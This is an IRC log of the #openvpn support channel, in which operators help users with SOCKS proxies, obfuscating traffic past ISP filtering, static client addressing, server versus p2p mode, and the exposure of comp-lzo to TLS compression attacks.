13:04 <@krzee> shit it *is* the vpn, lol
13:04 <+fenris_kcf> i take that as a yes
13:04 <@krzee> it wasnt a yes/no question
13:05 <+fenris_kcf> so in order to USE the VPN on the server, i don't have to run a client on it?
13:05 <@krzee> and it couldnt be answered without making it make sense, so i answered while clarifying it
13:05 <@krzee> when other people connect
13:05 <@krzee> you
13:05 <@krzee> you'll be able to reach them from the server
13:06 <@krzee> you should really learn networking before you run vpns
13:11 <@krzee> !vpn
13:11 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
13:11 <@krzee> read that ^
13:23 <+hadifarnoud> I really don't understand why OpenVPN iOS app is ignoring socks proxy settings. this is my config https://gist.github.com/b0724179d44879c9d8e3
13:23 <@vpnHelper> Title: winvpn_openvpn_remote_access_l3.ovpn (at gist.github.com)
13:23 <+hadifarnoud> is anything wrong?
13:25 -!- jonathancazaerck [~jonathanc@178-118-11-136.access.telenet.be] has joined #openvpn
13:25 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
13:26 < jonathancazaerck> Hello, can someone help me?
13:27 < jonathancazaerck> I've got an TLS-hanshake fail... I was configuring my DD-WRT router as bridged client to my openVPN acces server
13:30 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has quit [Ping timeout: 245 seconds]
13:32 <@krzee> hadifarnoud, the ios app is not the same as the opensource GPL app, it was 100% re-written and does not support everything that normal openvpn does. test that the settings work correct outside ios
13:33 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has joined #openvpn
13:34 <@krzee> and when you post configs, dont post them with 10x more comments than config, remove all comments
13:34 <+hadifarnoud> ok
13:34 <+hadifarnoud> krzee: i tried TunnelBlick on mac too. I don't think there is an official OpenVPN client on Mac. is it?
13:35 <@krzee> well the cli command works on mac, which is all tunnelblick uses, but tunnelblick should be fine
13:35 <@krzee> did you get it working on mac?
13:35 <@krzee> if not, then you dont want to start trying on IOS yet
13:36 <@krzee> troubleshooting is easier with computers, get phones working after you're 100% sure the setups are correct from testing computers
13:36 <+hadifarnoud> no krzee. still doesn't work
13:37 <+hadifarnoud> I used socks to bypass my ISP blocking OpenVPN
13:40 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
13:41 <@krzee> hadifarnoud, can you test firefox through the same socks proxy?
13:41 -!- jonathancazaer-1 [~jonathanc@178-118-11-136.access.telenet.be] has joined #openvpn
13:41 <+hadifarnoud> krzee: I can indeed. working just fine (it's a SSH tunnel)
13:41 <+hadifarnoud> it works
13:41 <@krzee> !logs
13:41 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:42 -!- jonathancazaerck [~jonathanc@178-118-11-136.access.telenet.be] has quit [Ping timeout: 252 seconds]
13:42 <+hadifarnoud> krzee: https://gist.github.com/hadifarnoud/cd0aa0edb7b7e5722846
13:42 <@vpnHelper> Title: gist:cd0aa0edb7b7e5722846 (at gist.github.com)
13:43 <@krzee> thats configs with tons of comments
13:43 <+hadifarnoud> sorry krzee. TunnelBlick
13:43 <+hadifarnoud> just a sec
13:44 <@krzee> and verb 4
13:44 <@krzee> not verb 3
13:44 <+hadifarnoud> krzee: removed comments.
13:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
13:46 <@krzee> verb 4
13:47 <+hadifarnoud> changed it to 4. still the same. stuck at 'making tcp connection'
13:47 <+hadifarnoud> ^ krzee
13:49 -!- jonathancazaer-1 [~jonathanc@178-118-11-136.access.telenet.be] has quit [Ping timeout: 272 seconds]
13:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:53 <@krzee> sounds like it cant reach the server over the socks, can you see anything at the server?
13:55 <+hadifarnoud> krzee: openvpn server?
13:55 <@krzee> ya
13:56 <+hadifarnoud> nope krzee. it doesn't get to that point
13:56 <+hadifarnoud> I tried both UDP and TCP
13:56 <@krzee> ssh cant proxy udp traffic
13:56 <@krzee> dante socks server can, sshd cannot
13:56 <@krzee> from the ssh server (which you are using as a proxy) can you connect to the openvpn server?
13:56 <+hadifarnoud> so, what could it be?
13:57 <+hadifarnoud> let me try
13:57 -!- mode/#openvpn [+vvvv cali Devastator LEDfan_ marlinc] by krzee
13:57 -!- mode/#openvpn [+vv Olipro phreakocious] by krzee
13:58 <+hadifarnoud> yeah krzee. I can see it
13:59 <+hadifarnoud> recv_socks_reply: TCP port read timeout expired: Operation now in progress (errno=36)
13:59 <+hadifarnoud> what does it mean?
14:00 <+hadifarnoud> krzee: does the order of configs matter? should I add socks proxy before remote?
14:00 <+hadifarnoud> FINALLY
14:01 <+hadifarnoud> worked
14:02 <+hadifarnoud> I changed tcp but I forgot to reconfig the server too.
14:04 <+hadifarnoud> it disconnects after a few sec :(
14:04 <+hadifarnoud> after authentication, it doesn't use socks proxy anymore. does it krzee?
14:05 -!- hadifarnoud [~hadifarno@151.240.15.47] has quit [Remote host closed the connection]
14:05 -!- hadifarn_ [~hadifarno@151.240.15.47] has joined #openvpn
14:05 <+pekster> hadifarn_: Sure it does. OpenVPN only uses a single socket
14:06 < hadifarn_> pekster: I don't understand why its disconnecting after a few sec
14:07 < hadifarn_> my socks works fine
14:08 <+pekster> hadifarn_: Apparently not. That 'TCP port read timeout expired:' message means the server timed out waiting for a reply from your server
14:09 < hadifarn_> pekster: let me give you a log when disconnect happens
14:09 < hadifarn_> I might get disconnected. brb
14:09 <+pekster> Timeout is 5 seconds, fwiw
14:10 <+pekster> If your proxy is dead for that long it's got issues
14:11 <+pekster> Looks like the only time you get that error is during the socks proxy establishment part of the connection process
14:12 < hadifarn_> pekster:  https://gist.github.com/hadifarnoud/afeb2afb70a99107b45e
14:12 <@vpnHelper> Title: gist:afeb2afb70a99107b45e (at gist.github.com)
14:13 < hadifarn_> my proxy is working fine. I set it as my Chrome proxy in order to see if it's disconnected. (it's SSH tunnel)
14:13 < hadifarn_> I don't think it's my ISP blocking either. since it's thru a SOCKS proxy, it should work. right?
14:14 <+pekster> SOCKS isn't cryptographically protected, no
14:15 <+pekster> If you're on a hostile network it very much could be your problem
14:15 <+pekster> You'd need to ship the transport over something secure; socks can be used to expose a connection that you _make_ over a secure link to openvpn (such as ssh's socks support) but just doing SOCKS over the public Internet isn't going to fool DPI that understands SOCKS
14:19 <+pekster> hadifarn_: That paste link you gave, the issue is inactivity timeout
14:20 < hadifarn_> pekster: probably my ISP blocking it because socks proxy is working just fine.
14:20 <+pekster> Yup, you woulnd't get connected otherwise
14:21 <+pekster> See line 478
14:21 <+pekster> _then_ see line 497 as the connection times out when attempting another one through the proxy
14:21 < hadifarn_> I see
14:21 <+pekster> ie: your abusive DPI firewall thing slaps it down when it tries again
14:22 <+pekster> SOCKS isn't obfuscation; it just provides transport via a proxy, and can optionally stack authentication with that, but itsn't by itself encryption
14:23 < hadifarn_> I need obfuscation. I use SoftEther's OpenVPN clone server. so I can't use obfsproxy and PSK. I guess I need actual OpenVPN to be able to config it properly.
14:24 <+pekster> You need some obfuscating transport then, like !obfs or a static-key (PSK) openvpn tunnel
14:24 < hadifarn_> yeah. since I couldn't do it with SoftEther, I was hoping socks help
14:27 < hadifarn_> thanks anyway pekster
14:28 <+pekster> What you need is a cooporative endpoint that you can configure to speak a protocol you can use to get past your censorship filter
14:29 <+pekster> the obfsproxy (see the !obfs command for info) lets you masquerade traffic as a variety of other traffic types
14:38 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
14:39 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:41 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
14:42 <+wallbroken_u_z> ok, "mode server" is the cause of not working during --server mode
14:42 <+wallbroken_u_z> using "mode p2p" all works well
14:43 <+wallbroken_u_z> is there some way to make it work also with "mode server" ?
14:43 <+pekster> I think you completely misunderstand what --mode is doing
14:43 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
14:44 <+pekster> --server implies --mode-server. --mode p2p is a completely different mode of operation that only connets to a single other endpoint (no clients, just the ONE other peer)
14:44 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
14:44 <+wallbroken_u_z> and with p2p, i can only make work with 2 hosts?
14:45 <+pekster> `--mode p2p` yes (not to be confused with `--topology p2p`, which you generally won't need to worry about ever using)
14:45 <+wallbroken_u_z> ok
14:51 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
14:52 -!- hadifarn_ [~hadifarno@151.240.15.47] has quit [Remote host closed the connection]
14:54 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
15:03 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 240 seconds]
15:03 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
15:03 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
15:06 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
15:07 <+__FBi> http://www.youtube.com/watch?v=W6DmHGYy_xk
15:07 <@vpnHelper> Title: Miley Cyrus - Wrecking Ball (Chatroulette Version) - YouTube (at www.youtube.com)
15:09 <+wallbroken_u_z> another thing i'd like to know is: how to load configuration file from linux
15:10 <+wallbroken_u_z> i know is there --config field
15:10 <+wallbroken_u_z> but if i use "/etc/init.d/openvpn start"
15:10 <+wallbroken_u_z> it loads some file automatically
15:10 <+pekster> Ask $yourdistro
15:10 <+pekster> initscripts are the responsbility of the packager
15:10 <+wallbroken_u_z> debian linux
15:10 <+pekster> So ask #debian
15:11 <+wallbroken_u_z> ok, I hope they will not say "ask openvpn" :P
15:11 <+pekster> We don't support downstream initscripts
15:11 <+pekster> They're platform-specific
15:11 <+wallbroken_u_z> ok
15:35 <+wallbroken_u_z> what i don't understand is why if i do manually on the client using tls-client what --server pushes, it doesn't work
15:40 <+wallbroken_u_z> for example if --server pushes X, Y, Z, to the client, and I stop pulling from the client using -tls-client instead --client, and then I give into the client config X Y Z; it should work, but it doesn't
15:52 <+wallbroken_u_z> PUSH: Received control message: 'PUSH_REPLY,route-gateway 10.0.0.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.0.0.2 255.255.255.0'
15:53 <+pekster> configs
15:53 <+wallbroken_u_z> if i give all these things in config file with tls-client, don't ping :\
15:53 <+pekster> If you don't post configs, you don't get help
15:53 <+pekster> You've been here for 2 days; you should know this by now
15:53 <+pekster> Try harder
15:53 <+wallbroken_u_z> yes, sorry
15:56 -!- Devastator [~devas@177.18.199.113] has quit [Ping timeout: 246 seconds]
15:56 <+wallbroken_u_z> http://nopaste.info/470a310ca8.html
15:57 <+wallbroken_u_z> i forgot writing certs in the client config, but they are
15:58 <+pekster> That's not how you do static addressing in a server setup
15:58 <+pekster> !static
15:58 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:58 <+wallbroken_u_z> yes I know all other way
15:59 <+wallbroken_u_z> but i'm not trying to do static addressing
15:59 <+pekster> Then DON'T DECLARE A STATIC ADDRESS PART OF YOUR POOL
15:59 <+pekster> FFS, yes you are
15:59 <+pekster> --ifconfig on the client side _IS_ static addressing
15:59 <+pekster> But you're doing it wrong
15:59 <+wallbroken_u_z> yes, but i'd like to understand this behaviour
15:59 <+pekster> You're doing it wrong
15:59 <+pekster> Stop doing it wrong and it works
15:59 <+wallbroken_u_z> the fact that I done all the things bushed by server manually
16:00 <+pekster> Stop trying to "undersatnd" doign things teh wrong way
16:01 <+wallbroken_u_z> maybe is there some other directive pushed by server to client that i haven't included in client?
16:01 <+pekster> If you do not ensure that this client gets the right address, the server's tun protection mechanism won't ever let that work
16:02 <+pekster> In otherwords, stop ignoring what I tell you. But you're very good at ignoring advice you get anyway, so maybe you can figure it out on your own
16:02 <+pekster> Static addressing is handled by !static. It's critical you set static addresses properly or it won't work (and surprise, it doesn't seem to be working for you.)
16:02 <+wallbroken_u_z> <+pekster> If you do not ensure that this client gets the right address, the server's tun protection mechanism won't ever let that work
16:02 <+wallbroken_u_z> that's interesting
16:02 <+pekster> Use !static if you want static addressing
16:02 <+pekster> Stop abusing openvpn
16:03 <+pekster> Or keep doing it and whine when it breaks
16:03 <+wallbroken_u_z> i just done static with ccd and ifconfig-push
16:03 <+wallbroken_u_z> and it works very well
16:03 <+wallbroken_u_z> it gives the right address to the client using a cert with a specific common name
16:03 <+wallbroken_u_z> it's all ok
16:06 <+wallbroken_u_z> so you said that to make it work in the way i'm trying to do i need to guess the address that --server are giving then assign it to the client
16:07 <+wallbroken_u_z> oh yes
16:07 <+wallbroken_u_z> you are right
16:08 <+wallbroken_u_z> i tried all the pools of a little range, and one of them works
16:12 <+wallbroken_u_z> and there is no way to stop this protection mechanism?
16:20 -!- LEDfan_ [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:23 <+reiffert> wallbroken_u_z: I like your English, what country are you from?
16:27 <+pekster> wallbroken_u_z: No, what you ask for is silly. read about --iroute in the manpage if you actually want the client to have additional addresses, but you can't do this from your pool or you _will_ run into problems
17:03 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has joined #openvpn
17:04 < RaMcHiP-Tablet> Anyone connected to a TAP VPN via android?
17:06 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
17:09 <+Thermi> RaMcHiP-Tablet: Because of restrictions in the android VPN API, you can't connect to a TAP device. Only to a TUN device.
17:21 -!- mete [~mete@91.247.253.160] has joined #openvpn
17:29 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has quit [Remote host closed the connection]
17:29 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has joined #openvpn
17:47 < RaMcHiP-Tablet> Thermi - Even if your rooted and have the tun/tap modules?
17:48 < RaMcHiP-Tablet> I have the tun/tap modules installed but it says they are not functioning properl
17:50 <+Thermi> RaMcHiP-Tablet: With the openVPN app itself, it works. There's a working app in the play store, that does it
17:51 <+Thermi> I don't mean the official app. There is one, that actually uses busybox etc to do it.
17:52 < RaMcHiP-Tablet> KK, ya I am using my nighthawk router for VPN
17:52 < RaMcHiP-Tablet> and it has TAP built in
17:52 -!- zxd [~zxd@109.65.162.225] has joined #openvpn
17:52 < RaMcHiP-Tablet> And it uses OpenVPN Tap
17:53 < RaMcHiP-Tablet> I love they finally made an opensource consumer router
17:57 -!- zxd [~zxd@109.65.162.225] has quit [Ping timeout: 252 seconds]
17:58 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has quit [Remote host closed the connection]
17:58 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has joined #openvpn
18:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:14 -!- RaMcHiP-Tablet [~androirc@238.sub-70-209-67.myvzw.com] has quit [Ping timeout: 272 seconds]
18:19 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
18:35 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 260 seconds]
18:35 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
18:48 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
18:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
18:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:00 -!- master_of_master [~master_of@p4FF24DB0.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
19:00 -!- master_of_master [~master_of@p4FF24E76.dip0.t-ipconnect.de] has joined #openvpn
19:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
19:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:07 -!- Fruckiwacki- [fruckiwack@5.135.190.66] has quit [Quit: -]
19:07 -!- Fruckiwacki [fruckiwack@5.135.190.66] has joined #openvpn
19:08 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
19:08 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
19:18 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
19:22 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
19:45 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
19:55 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 246 seconds]
19:58 -!- Denial [Denial@94.0.94.1] has quit [Ping timeout: 260 seconds]
20:16 -!- Denial [Denial@2.217.201.230] has joined #openvpn
20:17 -!- xrosnight_ [~quassel@120.236.123.130] has joined #openvpn
20:17 -!- xrosnight [~quassel@120.236.123.133] has quit [Ping timeout: 246 seconds]
20:21 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
20:21 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
20:24 -!- Mike3 [mad@mx.probie.nl] has joined #openvpn
20:25 -!- Probeus_ [probeus@probeus.no] has joined #openvpn
20:25 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
20:25 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
20:26 < Nikon> yo
20:26 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
20:26 < Nikon> so i take it the configs work a bit different from windows to debian?
20:27 -!- Aelius_ [~link@unaffiliated/aelius] has joined #openvpn
20:30 -!- ngharo_ [~ngharo@nexus.sypherz.com] has joined #openvpn
20:30 <+lachesis> does using comp-lzo expose me to any of the TLS compression attacks? e.g. BEAST, CRIME?
20:31 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
20:31 -!- [oc80z] [~oc80z@74.63.222.147] has joined #openvpn
20:31 -!- C_S_B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has joined #openvpn
20:31 -!- elfixit1 [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
20:32 -!- SlutaTramsa_ [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has joined #openvpn
20:33 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
20:33 -!- codehero_ [codehero@irc.coding4coffee.org] has joined #openvpn
20:33 -!- xrosnight_ [~quassel@120.236.123.130] has quit [Quit: No Ping reply in 180 seconds.]
20:34 -!- Netsplit *.net <-> *.split quits: +oc80z, +Rallias, +jave, +Mike--, +james41382_, +hgax, +SlutaTramsa, +EmLeX, +marlinc, +Probeus,  (+10 more, use /NETSPLIT to show all of them)
20:34 <+lachesis> rob0: there isn't much cost to using a second key, but i'm still curious about the effects
20:34 <+lachesis> aaand he netsplit
20:34 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
20:34 -!- esde [~esde@107.150.1.2] has joined #openvpn
20:34 -!- Netsplit over, joins: EmLeX
20:34 -!- [oc80z] is now known as oc80z
20:34 -!- Netsplit over, joins: Rallias
20:34 -!- maskedlua_ is now known as maskedlua
20:35 -!- hgax_ [~hgax@162.243.112.153] has joined #openvpn
20:37 <+pekster> Nikon: Nope, exactly the same (though the Windows-only options like --ip-win32 only work on Windows)
20:38 < Nikon> ahh
20:38 < Nikon> okie dokie, i was having some problems but it was because i was able to use a relative path in windows
20:39 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
20:39 <+pekster> paths work the same on both platforms; if you don't use absolute paths, the --cd path (or your PWD if you don't use --cd) is used to handle relative paths
20:40 -!- codehero_ is now known as codehero
20:41 < Nikon> also, linux is way more picky with names
20:43 <+pekster> "picky" ?
20:44 <+pekster> Any valid file path can be used with the usual convention of quoting (or escaping) characters like backslash, space, and the like
20:44 < Nikon> no like
20:44 < Nikon> in my config it was server.crt
20:44 < Nikon> and in the actual directory it was Server.crt
20:44 < Nikon> and it didn't like that
20:44 <+pekster> Naturally; your FS is case-sensitive
20:45 < Nikon> yea :P
20:45 <+pekster> NTFS can be mounted case-sensitive too, but Windows users don't do that becuase they like dumb standards that aren't POSIX ;)
20:45 -!- codehero [codehero@irc.coding4coffee.org] has quit [Ping timeout: 240 seconds]
20:45  * Nikon needs windows for a handful of applications
20:47 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
20:49 <+lachesis> do i need to do anything in particular to get perfect forward secrecy?
20:50 <+pekster> lachesis: You get that with using a TLS mode (so long as you don't do silly things like downgrade the security using --tls-cipher to a non-DHE mode)
20:52 <+lachesis> pekster: cool, tls mode is the default if i'm just using a "server" directive, right?
20:53 <+lachesis> that is, not pre-shared key mode?
21:01 <+pekster> Yes, --server expands to many things, including --tls-server
21:01 <+pekster> See the manpage for specifics
21:28 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
21:51 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
21:52 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
22:08 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
22:09 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
22:10 <+lachesis> pekster: do i have anything to fear from using comp-lzo in the way of compression ratio attacks? e.g. CRIME, BEAST
22:23 <+pekster> lachesis: BEAST requires a web browser and javascript (which openvpn doesn't use) and CRIME acts on the DEFLATE TLS support, which openvpn doesn't do
22:23 <+pekster> So "no"
22:24 <+pekster> lzo is only for the data channel anyway
22:24 <+lachesis> pekster: cool, so nothing in the TLS stream gets compressed?
22:25 <+pekster> Right, the compression is for the data-channel only with lzo (or snappy, if you have a -master build)
22:34 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
22:38 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 245 seconds]
22:39 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
22:40 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
22:40 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
22:40 -!- Devastator [~devas@177.18.199.113] has quit [Changing host]
22:40 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:42 <+lachesis> pekster: something else: how often does openvpn rekey?
22:43 -!- ngharo_ is now known as ngharo
22:57 <+pekster> lachesis: See the --reneg-* options in the manpage. By default (if you don't change it) the ephemeral data symmetric key is rekeyed every hour
22:57 <+pekster> !factoids search reneg
22:57 <@vpnHelper> No keys matched that query.
22:57 <+pekster> !factoids search --values reneg
22:57 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
22:57 <+pekster> Hmm, not super useful. If you want it _lower_ than 1/hr, you probably want to set the client to "0" --reneg-sec and let your server deal with the rekey timing
22:58 <+pekster> Erm, sorry, "less often"
23:33 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-biqonkjhywvxuqcf] has quit [Ping timeout: 240 seconds]
23:33 -!- elfixit1 [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 248 seconds]
23:35 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has quit [Ping timeout: 240 seconds]
23:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
23:36 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-cayeynxcbaslzecq] has joined #openvpn
23:37 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
23:53 -!- xrosnight [~quassel@120.236.123.130] has quit [Changing host]
23:53 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
23:55 -!- zxd [~zxd@81.218.200.107] has joined #openvpn
23:59 -!- zxd [~zxd@81.218.200.107] has quit [Ping timeout: 240 seconds]
--- Day changed Thu Dec 26 2013
00:25 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
00:26 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
00:30 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
00:31 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
00:44 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:44 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
00:59 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Ping timeout: 260 seconds]
01:22 -!- fayisha [~CRUNCH@tabitha.stormbit.net] has quit [Ping timeout: 246 seconds]
01:25 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
01:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:51 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
01:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:52 <+wallbroken_u_z> pekster, if I understood well, when I connect from the client, the server assigns a specific ip address to that client and pushes it to the client, If i do use another ip different from the pushed IP, the tun protection mechanism of the server drops it, that's true?
01:53 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
02:00 -!- zxd [~zxd@bzq-218-200-107.red.bezeqint.net] has joined #openvpn
02:14 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has joined #openvpn
02:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
02:46 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Read error: Connection reset by peer]
02:47 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
02:49 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
03:14 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
03:14 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
03:18 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:20 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Read error: Operation timed out]
03:22 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
03:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 240 seconds]
03:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:23 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
03:25 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
03:49 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
03:50 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 246 seconds]
03:50 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 248 seconds]
03:59 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
04:00 -!- dvl [~dan@64.147.113.42] has joined #openvpn
04:14 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 264 seconds]
04:17 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has quit [Quit: gtg!]
04:24 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 264 seconds]
04:26 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
04:30 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Excess Flood]
04:30 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
04:34 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
04:34 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
04:36 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 248 seconds]
04:39 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
04:40 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
04:41 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
04:50 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
